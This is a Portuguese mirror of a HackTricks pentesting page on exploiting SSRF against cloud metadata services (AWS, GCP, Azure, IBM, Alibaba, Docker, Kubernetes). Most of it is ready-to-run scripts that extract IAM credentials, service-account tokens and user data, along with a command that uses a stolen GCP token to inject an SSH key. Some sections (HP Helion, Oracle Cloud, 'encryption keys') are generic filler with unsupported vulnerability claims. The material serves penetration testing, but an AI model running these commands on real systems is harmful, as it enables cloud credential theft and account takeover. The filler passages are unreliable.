hacktricks/pentesting-web/ssrf-server-side-request-forgery/cloud-ssrf.md at b5a5ddc3fe4caccf11ba48eb1ed9d134519d5b47

Mirrors/hacktricks

Fork 0

mirror of https://github.com/carlospolop/hacktricks synced 2024-12-01 00:49:40 +00:00

Translator workflow c928d8e52e Translated to Portuguese

2023-06-06 18:56:34 +00:00

33 KiB

Raw Blame History

AWS

Abusando do SSRF no ambiente AWS EC2

O endpoint metadata pode ser acessado de dentro de qualquer máquina EC2 e oferece informações interessantes sobre ela. É acessível na URL: http://169.254.169.254 (informações sobre o metadata aqui).

Existem 2 versões do endpoint metadata. A primeira permite acessar o endpoint via requisições GET (então qualquer SSRF pode explorá-lo). Para a versão 2, IMDSv2, você precisa solicitar um token enviando uma requisição PUT com um HTTP header e, em seguida, usar esse token para acessar o metadata com outro HTTP header (então é mais complicado de explorar com um SSRF).

Na versão 2, o TTL por padrão é 1. Isso garante que dispositivos de rede mal configurados (firewalls, dispositivos NAT, roteadores, etc.) não encaminhem o pacote. Isso também significa que contêineres Docker usando a configuração de rede padrão (modo bridge) não poderão acessar o serviço de metadados da instância.
IMDSv2 também bloqueará solicitações para buscar um token que inclua o cabeçalho X-Forwarded-For. Isso é para impedir que proxies reversos mal configurados possam acessá-lo.

Você pode encontrar informações sobre os endpoints de metadados na documentação. No seguinte script, algumas informações interessantes são obtidas a partir dele:

EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
URL="http://169.254.169.254/latest/meta-data"

aws_req=""
if [ "$(command -v curl)" ]; then
    aws_req="curl -s -f -H '$HEADER'"
elif [ "$(command -v wget)" ]; then
    aws_req="wget -q -O - -H '$HEADER'"
else 
    echo "Neither curl nor wget were found, I can't enumerate the metadata service :("
fi

printf "ami-id: "; eval $aws_req "$URL/ami-id"; echo ""
printf "instance-action: "; eval $aws_req "$URL/instance-action"; echo ""
printf "instance-id: "; eval $aws_req "$URL/instance-id"; echo ""
printf "instance-life-cycle: "; eval $aws_req "$URL/instance-life-cycle"; echo ""
printf "instance-type: "; eval $aws_req "$URL/instance-type"; echo ""
printf "region: "; eval $aws_req "$URL/placement/region"; echo ""

echo ""
echo "Account Info"
eval $aws_req "$URL/identity-credentials/ec2/info"; echo ""
eval $aws_req "http://169.254.169.254/latest/dynamic/instance-identity/document"; echo ""

echo ""
echo "Network Info"
for mac in $(eval $aws_req "$URL/network/interfaces/macs/" 2>/dev/null); do 
  echo "Mac: $mac"
  printf "Owner ID: "; eval $aws_req "$URL/network/interfaces/macs/$mac/owner-id"; echo ""
  printf "Public Hostname: "; eval $aws_req "$URL/network/interfaces/macs/$mac/public-hostname"; echo ""
  printf "Security Groups: "; eval $aws_req "$URL/network/interfaces/macs/$mac/security-groups"; echo ""
  echo "Private IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv4-associations/"; echo ""
  printf "Subnet IPv4: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv4-cidr-block"; echo ""
  echo "PrivateIPv6s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/ipv6s"; echo ""
  printf "Subnet IPv6: "; eval $aws_req "$URL/network/interfaces/macs/$mac/subnet-ipv6-cidr-blocks"; echo ""
  echo "Public IPv4s:"; eval $aws_req "$URL/network/interfaces/macs/$mac/public-ipv4s"; echo ""
  echo ""
done

echo ""
echo "IAM Role"
eval $aws_req "$URL/iam/info"
for role in $(eval $aws_req "$URL/iam/security-credentials/" 2>/dev/null); do 
  echo "Role: $role"
  eval $aws_req "$URL/iam/security-credentials/$role"; echo ""
  echo ""
done

echo ""
echo "User Data"
# Search hardcoded credentials
eval $aws_req "http://169.254.169.254/latest/user-data"

echo ""
echo "EC2 Security Credentials"
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""

Como exemplo de credenciais IAM disponíveis publicamente, você pode visitar: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws

Você também pode verificar as credenciais de segurança públicas do EC2 em: http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance

Você pode então usar essas credenciais com o AWS CLI. Isso permitirá que você faça qualquer coisa que a função tenha permissão para fazer.

Para aproveitar as novas credenciais, você precisará criar um novo perfil AWS como este:

[profilename]
aws_access_key_id = ASIA6GG7PSQG4TCGYYOU
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT5pUkyPJsjC
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=

Observe o aws_session_token, ele é indispensável para que o perfil funcione.

O PACU pode ser usado com as credenciais descobertas para descobrir seus privilégios e tentar escaloná-los.

SSRF em credenciais do AWS ECS (Serviço de Contêiner)

O ECS é um grupo lógico de instâncias EC2 em que você pode executar um aplicativo sem precisar dimensionar sua própria infraestrutura de gerenciamento de cluster, porque o ECS gerencia isso para você. Se você conseguir comprometer o serviço em execução no ECS, os pontos de extremidade de metadados mudam.

Se você acessar http://169.254.170.2/v2/credentials/<GUID>, encontrará as credenciais da máquina ECS. Mas primeiro você precisa encontrar o <GUID>. Para encontrar o <GUID>, você precisa ler a variável environ AWS_CONTAINER_CREDENTIALS_RELATIVE_URI dentro da máquina.
Você pode ser capaz de lê-lo explorando uma Travessia de Caminho para file:///proc/self/environ
O endereço http mencionado deve fornecer a AccessKey, SecretKey e token.

curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null || wget "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" -O -

{% hint style="info" %} Note que em alguns casos você poderá acessar a instância de metadados EC2 do contêiner (verifique as limitações de TTL do IMDSv2 mencionadas anteriormente). Nesses cenários, a partir do contêiner, você pode acessar tanto a função IAM do contêiner quanto a função IAM do EC2. {% endhint %}

SSRF para AWS Lambda

Neste caso, as credenciais são armazenadas em variáveis de ambiente. Portanto, para acessá-las, você precisa acessar algo como file:///proc/self/environ.

O nome das variáveis de ambiente interessantes são:

AWS_SESSION_TOKEN
AWS_SECRET_ACCESS_KEY
AWS_ACCES_KEY_ID

Além disso, além das credenciais IAM, as funções Lambda também possuem dados de evento que são passados para a função quando ela é iniciada. Esses dados são disponibilizados para a função por meio da interface de tempo de execução e podem conter informações sensíveis (como dentro das stageVariables). Ao contrário das credenciais IAM, esses dados são acessíveis por SSRF padrão em http://localhost:9001/2018-06-01/runtime/invocation/next.

{% hint style="warning" %} Observe que as credenciais lambda estão dentro das variáveis de ambiente. Portanto, se o rastreamento de pilha do código lambda imprimir variáveis de ambiente, é possível exfiltrá-las provocando um erro no aplicativo. {% endhint %}

URL SSRF para AWS Elastic Beanstalk

Recuperamos o accountId e region da API.

http://169.254.169.254/latest/dynamic/instance-identity/document
http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Em seguida, recuperamos o AccessKeyId, SecretAccessKey e Token da API.

http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbeanorastalk-ec2-role

Em seguida, usamos as credenciais com aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/.

GCP

Você pode encontrar aqui a documentação sobre pontos de extremidade de metadados.

URL SSRF para o Google Cloud

Requer o cabeçalho "Metadata-Flavor: Google" ou "X-Google-Metadata-Request: True" e você pode acessar o ponto de extremidade de metadados com as seguintes URLs:

Pontos de extremidade interessantes para extrair informações:

# /project
# Project name and number
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/project-id
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/project/numeric-project-id
# Project attributes
curl -H "X-Google-Metadata-Request: True" http://metadata/computeMetadata/v1/project/attributes/?recursive=true

# /oslogin
# users
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/users
# groups
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/groups
# security-keys
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/security-keys
# authorize
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/oslogin/authorize

# /instance
# Description
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/description
# Hostname
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/hostname
# ID
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/id
# Image
curl -H "Metadata-Flavor:Google" http://metadata/computeMetadata/v1/instance/image
# Machine Type
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/machine-type
# Name
curl -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/name
# Tags
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/scheduling/tags
# Zone
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/zone
# User data
curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/attributes/startup-script"
# Network Interfaces
for iface in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/"); do 
    echo "  IP: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/ip")
    echo "  Subnetmask: "$(curl -s -f -H "X-Google-Metadata-Request: True" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/subnetmask")
    echo "  Gateway: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/gateway")
    echo "  DNS: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/dns-servers")
    echo "  Network: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/network-interfaces/$iface/network")
    echo "  ==============  "
done
# Service Accounts
for sa in $(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/"); do 
    echo "  Name: $sa"
    echo "  Email: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}email")
    echo "  Aliases: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}aliases")
    echo "  Identity: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}identity")
    echo "  Scopes: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}scopes")
    echo "  Token: "$(curl -s -f -H "Metadata-Flavor: Google" "http://metadata/computeMetadata/v1/instance/service-accounts/${sa}token")
    echo "  ==============  "
done
# K8s Attributtes
## Cluster location
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-location
## Cluster name
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/cluster-name
## Os-login enabled
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/enable-oslogin
## Kube-env
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-env
## Kube-labels
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kube-labels
## Kubeconfig
curl -s -f -H "Metadata-Flavor: Google" http://metadata/computeMetadata/v1/instance/attributes/kubeconfig

# All custom project attributes
curl "http://metadata.google.internal/computeMetadata/v1/project/attributes/?recursive=true&alt=text" \
    -H "Metadata-Flavor: Google"

# All custom project attributes instance attributes
curl "http://metadata.google.internal/computeMetadata/v1/instance/attributes/?recursive=true&alt=text" \
    -H "Metadata-Flavor: Google"

Beta atualmente NÃO requer um cabeçalho (obrigado Mathias Karlsson @avlidienbrunn)

http://metadata.google.internal/computeMetadata/v1beta1/
http://metadata.google.internal/computeMetadata/v1beta1/?recursive=true

{% hint style="danger" %} Para usar o token da conta de serviço exfiltrado, você pode simplesmente fazer:

# Via env vars
export CLOUDSDK_AUTH_ACCESS_TOKEN=<token>
gcloud projects list

# Via setup
echo "<token>" > /some/path/to/token
gcloud config set auth/access_token_file /some/path/to/token
gcloud projects list
gcloud config unset auth/access_token_file

Adicionar uma chave SSH

Extrair o token

http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json

Verifique o escopo do token

$ curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA  { 
        "issued_to": "101302079XXXXX", 
        "audience": "10130207XXXXX", 
        "scope": "https://www.googleapis.com/auth/compute https://www.googleapis.com/auth/logging.write https://www.googleapis.com/auth/devstorage.read_write https://www.googleapis.com/auth/monitoring", 
        "expires_in": 2443, 
        "access_type": "offline" 
}

Agora envie a chave SSH.

{% code overflow="wrap" %}

curl -X POST "https://www.googleapis.com/compute/v1/projects/1042377752888/setCommonInstanceMetadata" 
-H "Authorization: Bearer ya29.c.EmKeBq9XI09_1HK1XXXXXXXXT0rJSA" 
-H "Content-Type: application/json" 
--data '{"items": [{"key": "sshkeyname", "value": "sshkeyvalue"}]}'

{% endcode %}

Digital Ocean

{% hint style="warning" %} Não há coisas como Funções AWS ou conta de serviço GCP, então não espere encontrar credenciais de bot de metadados {% endhint %}

Documentação disponível em https://developers.digitalocean.com/documentation/metadata/

curl http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1.json
http://169.254.169.254/metadata/v1/ 
http://169.254.169.254/metadata/v1/id
http://169.254.169.254/metadata/v1/user-data
http://169.254.169.254/metadata/v1/hostname
http://169.254.169.254/metadata/v1/region
http://169.254.169.254/metadata/v1/interfaces/public/0/ipv6/addressAll in one request:
curl http://169.254.169.254/metadata/v1.json | jq

Azure

Azure VM

Documentação aqui.

Deve conter o cabeçalho Metadata: true
Não deve conter o cabeçalho X-Forwarded-For

{% tabs %} {% tab title="Bash" %} {% code overflow="wrap" %}

HEADER="Metadata:true"
URL="http://169.254.169.254/metadata"
API_VERSION="2021-12-13" #https://learn.microsoft.com/en-us/azure/virtual-machines/instance-metadata-service?tabs=linux#supported-api-versions

echo "Instance details"
curl -s -f -H "$HEADER" "$URL/instance?api-version=$API_VERSION"

echo "Load Balancer details"
curl -s -f -H "$HEADER" "$URL/loadbalancer?api-version=$API_VERSION"

echo "Management Token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://management.azure.com/"

echo "Graph token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://graph.microsoft.com/"

echo "Vault token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://vault.azure.net/"

echo "Storage token"
curl -s -f -H "$HEADER" "$URL/identity/oauth2/token?api-version=$API_VERSION&resource=https://storage.azure.com/"

{% endcode %} {% endtab %}

{% endtabs %}

SSRF em Clouds

SSRF em AWS

Descobrindo metadados

A maneira mais comum de explorar SSRF em AWS é acessando os metadados do EC2. Para isso, basta fazer uma requisição para http://169.254.169.254/latest/meta-data/ e ver quais informações estão disponíveis.

Acessando credenciais

Se o servidor EC2 tiver permissões para acessar outros serviços AWS, é possível acessar as credenciais do IAM do servidor. Para isso, basta fazer uma requisição para http://169.254.169.254/latest/meta-data/iam/security-credentials/ e ver qual é o nome do perfil de segurança. Em seguida, faça uma requisição para http://169.254.169.254/latest/meta-data/iam/security-credentials/<profile_name> para obter as credenciais.

Acessando chaves de criptografia

Se o servidor EC2 tiver permissões para acessar o serviço KMS, é possível acessar as chaves de criptografia. Para isso, basta fazer uma requisição para http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ e ver qual é o nome do perfil de segurança. Em seguida, faça uma requisição para http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/<profile_name> para obter as chaves de criptografia.

SSRF em GCP

Descobrindo metadados

A maneira mais comum de explorar SSRF em GCP é acessando os metadados do Compute Engine. Para isso, basta fazer uma requisição para http://metadata.google.internal/computeMetadata/v1/ e ver quais informações estão disponíveis.

Acessando credenciais

Se o servidor Compute Engine tiver permissões para acessar outros serviços GCP, é possível acessar as credenciais do IAM do servidor. Para isso, basta fazer uma requisição para http://metadata.google.internal/computeMetadata/v1/instance/service-accounts/default/token e obter o token de acesso. Em seguida, use o token para fazer uma requisição para a API do serviço desejado.

Acessando chaves de criptografia

Se o servidor Compute Engine tiver permissões para acessar o serviço Cloud KMS, é possível acessar as chaves de criptografia. Para isso, basta fazer uma requisição para http://metadata.google.internal/computeMetadata/v1/instance/attributes/ e ver quais atributos estão disponíveis. Em seguida, faça uma requisição para http://metadata.google.internal/computeMetadata/v1/instance/attributes/<attribute_name> para obter as chaves de criptografia.

# Powershell
Invoke-RestMethod -Headers @{"Metadata"="true"} -Method GET -NoProxy -Uri "http://169.254.169.254/metadata/instance?api-version=2021-02-01" | ConvertTo-Json -Depth 64
## User data
$userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "http://169.254.169.254/metadata/instance/compute/userData?api-version=2021- 01-01&format=text"
[System.Text.Encoding]::UTF8.GetString([Convert]::FromBase64String($userData))

# Paths
/metadata/instance?api-version=2017-04-02
/metadata/instance/network/interface/0/ipv4/ipAddress/0/publicIpAddress?api-version=2017-04-02&format=text
/metadata/instance/compute/userData?api-version=2021-01-01&format=text

Azure App Service

A partir do env você pode obter os valores de IDENTITY_HEADER e IDENTITY_ENDPOINT. Isso pode ser usado para obter um token para se comunicar com o servidor de metadados.

Na maioria das vezes, você deseja um token para um desses recursos:

# Check for those env vars to know if you are in an Azure app
echo $IDENTITY_HEADER
echo $IDENTITY_ENDPOINT

# You should also be able to find the folder:
ls /opt/microsoft
#and the file
ls /opt/microsoft/msodbcsql17

# Get management token
curl "$IDENTITY_ENDPOINT?resource=https://management.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER
# Get graph token
curl "$IDENTITY_ENDPOINT?resource=https://graph.azure.com/&api-version=2017-09-01" -H secret:$IDENTITY_HEADER

# API
# Get Subscriptions
URL="https://management.azure.com/subscriptions?api-version=2020-01-01"
curl -H "Authorization: $TOKEN" "$URL"
# Get current permission on resources in the subscription
URL="https://management.azure.com/subscriptions/<subscription-uid>/resources?api-version=2020-10-01'"
curl -H "Authorization: $TOKEN" "$URL"
# Get permissions in a VM
URL="https://management.azure.com/subscriptions/<subscription-uid>/resourceGroups/Engineering/providers/Microsoft.Compute/virtualMachines/<VM-name>/providers/Microsoft.Authorization/permissions?api-version=2015-07-01"
curl -H "Authorization: $TOKEN" "$URL"

# API request in powershell to management endpoint
$Token = 'eyJ0eX..'
$URI='https://management.azure.com/subscriptions?api-version=2020-01-01'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
  'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value

# API request to graph endpoint (get enterprise applications)
$Token = 'eyJ0eX..'
$URI = 'https://graph.microsoft.com/v1.0/applications'
$RequestParams = @{
 Method = 'GET'
 Uri = $URI
 Headers = @{
 'Authorization' = "Bearer $Token"
 }
}
(Invoke-RestMethod @RequestParams).value

# Using AzureAD Powershell module witho both management and graph tokens
$token = 'eyJ0e..'
$graphaccesstoken = 'eyJ0eX..'
Connect-AzAccount -AccessToken $token -GraphAccessToken $graphaccesstoken -AccountId 2e91a4f12984-46ee-2736-e32ff2039abc

# Try to get current perms over resources
Get-AzResource
## The following error means that the user doesn't have permissions over any resource
Get-AzResource : 'this.Client.SubscriptionId' cannot be null.
At line:1 char:1
+ Get-AzResource
+ ~~~~~~~~~~~~~~
 + CategoryInfo : CloseError: (:) [Get-AzResource],ValidationException
 + FullyQualifiedErrorId :
Microsoft.Azure.Commands.ResourceManager.Cmdlets.Implementation.GetAzureResourceCmdlet

IBM Cloud

{% hint style="warning" %} Observe que na IBM, por padrão, os metadados não estão habilitados, portanto, é possível que você não consiga acessá-los mesmo se estiver dentro de uma VM da IBM Cloud. {% endhint %}

{% code overflow="wrap" %}

export instance_identity_token=`curl -s -X PUT "http://169.254.169.254/instance_identity/v1/token?version=2022-03-01"\
  -H "Metadata-Flavor: ibm"\
  -H "Accept: application/json"\
  -d '{
        "expires_in": 3600
      }' | jq -r '(.access_token)'`

# Get instance details
curl -s -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" -X GET "http://169.254.169.254/metadata/v1/instance?version=2022-03-01" | jq

# Get SSH keys info
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/keys?version=2022-03-01" | jq

# Get SSH keys fingerprints & user data
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/instance/initialization?version=2022-03-01" | jq

# Get placement groups
curl -s -X GET -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/metadata/v1/placement_groups?version=2022-03-01" | jq

# Get IAM credentials
curl -s -X POST -H "Accept: application/json" -H "Authorization: Bearer $instance_identity_token" "http://169.254.169.254/instance_identity/v1/iam_token?version=2022-03-01" | jq

{% endcode %}

Packetcloud

Documentação disponível em https://metadata.packet.net/userdata

OpenStack/RackSpace

(cabeçalho necessário? desconhecido)

http://169.254.169.254/openstack

HP Helion

Descrição

HP Helion é uma plataforma de nuvem que fornece serviços de infraestrutura como serviço (IaaS) e plataforma como serviço (PaaS). Ele permite que os usuários criem, implementem e gerenciem aplicativos em nuvem.

SSRF

O HP Helion é vulnerável a SSRF. Um invasor pode explorar essa vulnerabilidade para enviar solicitações HTTP para recursos internos, como o serviço de metadados do EC2, que podem resultar em vazamento de informações confidenciais ou comprometimento do servidor.

http://169.254.169.254/2009-04-04/meta-data/

Oracle Cloud

O Oracle Cloud é uma plataforma de computação em nuvem oferecida pela Oracle Corporation. Ele fornece serviços de infraestrutura como serviço (IaaS), plataforma como serviço (PaaS), software como serviço (SaaS) e data as a service (DaaS). O Oracle Cloud permite que os usuários criem, implementem e gerenciem aplicativos em uma infraestrutura de nuvem segura e escalável.

SSRF no Oracle Cloud

O Oracle Cloud é vulnerável a SSRF em vários serviços, incluindo o Oracle Functions, o Oracle Container Engine for Kubernetes (OKE) e o Oracle Cloud Infrastructure (OCI). Essas vulnerabilidades podem ser exploradas para acessar recursos internos, como metadados de instância, credenciais de serviço e arquivos de configuração.

Para explorar essas vulnerabilidades, um invasor pode enviar uma solicitação HTTP maliciosa para um serviço vulnerável, fazendo com que o servidor execute a solicitação em seu nome. Isso pode permitir que o invasor acesse recursos internos que normalmente não seriam acessíveis a partir da Internet.

Os invasores também podem usar SSRF para atacar outros sistemas na rede interna do Oracle Cloud. Por exemplo, um invasor pode explorar uma vulnerabilidade SSRF no Oracle Functions para acessar um servidor de banco de dados interno e extrair dados confidenciais.

Para mitigar essas vulnerabilidades, os usuários do Oracle Cloud devem implementar controles de segurança adequados, como filtragem de entrada e saída, autenticação forte e monitoramento de rede. Além disso, os usuários devem manter seus sistemas atualizados com as últimas correções de segurança e seguir as práticas recomendadas de segurança da Oracle.

http://192.0.0.192/latest/
http://192.0.0.192/latest/user-data/
http://192.0.0.192/latest/meta-data/
http://192.0.0.192/latest/attributes/

Alibaba

Alibaba é uma plataforma de nuvem chinesa que oferece serviços de computação em nuvem, armazenamento em nuvem e banco de dados em nuvem. A plataforma é usada principalmente na China e no sudeste asiático. A Alibaba Cloud oferece uma ampla gama de serviços, incluindo computação, armazenamento, banco de dados, rede, segurança, análise de dados, inteligência artificial e Internet das coisas (IoT). A plataforma é conhecida por sua escalabilidade, confiabilidade e segurança. No entanto, como em qualquer plataforma em nuvem, existem riscos de segurança, como SSRF, que os testadores de penetração devem estar cientes.

http://100.100.100.200/latest/meta-data/
http://100.100.100.200/latest/meta-data/instance-id
http://100.100.100.200/latest/meta-data/image-id

Kubernetes ETCD

Pode conter chaves de API e IPs e portas internas.

curl -L http://127.0.0.1:2379/version
curl http://127.0.0.1:2379/v2/keys/?recursive=true

Docker

Docker é uma plataforma de software que permite criar, testar e implantar aplicativos rapidamente. Ele empacota um aplicativo e todas as suas dependências em um contêiner virtual que pode ser executado em qualquer sistema operacional. O Docker é amplamente utilizado em ambientes de desenvolvimento e produção para simplificar o processo de implantação de aplicativos. No entanto, o Docker também pode ser usado para explorar vulnerabilidades de SSRF em aplicativos em contêiner.

http://127.0.0.1:2375/v1.24/containers/jsonSimple example
docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/containers/json
bash-4.4# curl --unix-socket /var/run/docker.sock http://foo/images/json

Rancher

Rancher é uma plataforma de gerenciamento de contêineres que permite implantar e gerenciar facilmente contêineres em um ambiente de produção. Ele suporta várias orquestradores de contêineres, como Kubernetes, Docker Swarm e Mesos. O Rancher também oferece recursos de segurança, como autenticação de usuário, gerenciamento de certificados e políticas de rede.

No entanto, o Rancher também pode ser vulnerável a SSRF se não for configurado corretamente. Por exemplo, se o Rancher estiver sendo executado em um servidor com uma interface de rede pública, um invasor pode explorar uma SSRF para acessar recursos internos da rede. Além disso, o Rancher permite que os usuários implantem contêineres em qualquer host registrado, o que pode levar a uma SSRF se um host malicioso for adicionado à plataforma.

curl http://rancher-metadata/<version>/<path>

☁️ HackTricks Cloud ☁️ -🐦 Twitter 🐦 - 🎙️ Twitch 🎙️ - 🎥 Youtube 🎥

Você trabalha em uma empresa de segurança cibernética? Você quer ver sua empresa anunciada no HackTricks? ou quer ter acesso à última versão do PEASS ou baixar o HackTricks em PDF? Confira os PLANOS DE ASSINATURA!
Descubra A Família PEASS, nossa coleção exclusiva de NFTs
Adquira o swag oficial do PEASS & HackTricks
Junte-se ao 💬 grupo do Discord ou ao grupo do telegram ou siga-me no Twitter 🐦@carlospolopm.
Compartilhe suas técnicas de hacking enviando PRs para o repositório hacktricks e para o repositório hacktricks-cloud.

33 KiB Raw Blame History

AWS

Abusando do SSRF no ambiente AWS EC2

SSRF em credenciais do AWS ECS (Serviço de Contêiner)

SSRF para AWS Lambda

URL SSRF para AWS Elastic Beanstalk

GCP

URL SSRF para o Google Cloud

Adicionar uma chave SSH

Digital Ocean

Azure

Azure VM

SSRF em Clouds

SSRF em AWS

Descobrindo metadados

Acessando credenciais

Acessando chaves de criptografia

SSRF em GCP

Descobrindo metadados

Acessando credenciais

Acessando chaves de criptografia

Azure App Service

IBM Cloud

Packetcloud

OpenStack/RackSpace

HP Helion

Descrição

SSRF

Oracle Cloud

SSRF no Oracle Cloud

Alibaba

Kubernetes ETCD

Docker

Rancher

33 KiB

Raw Blame History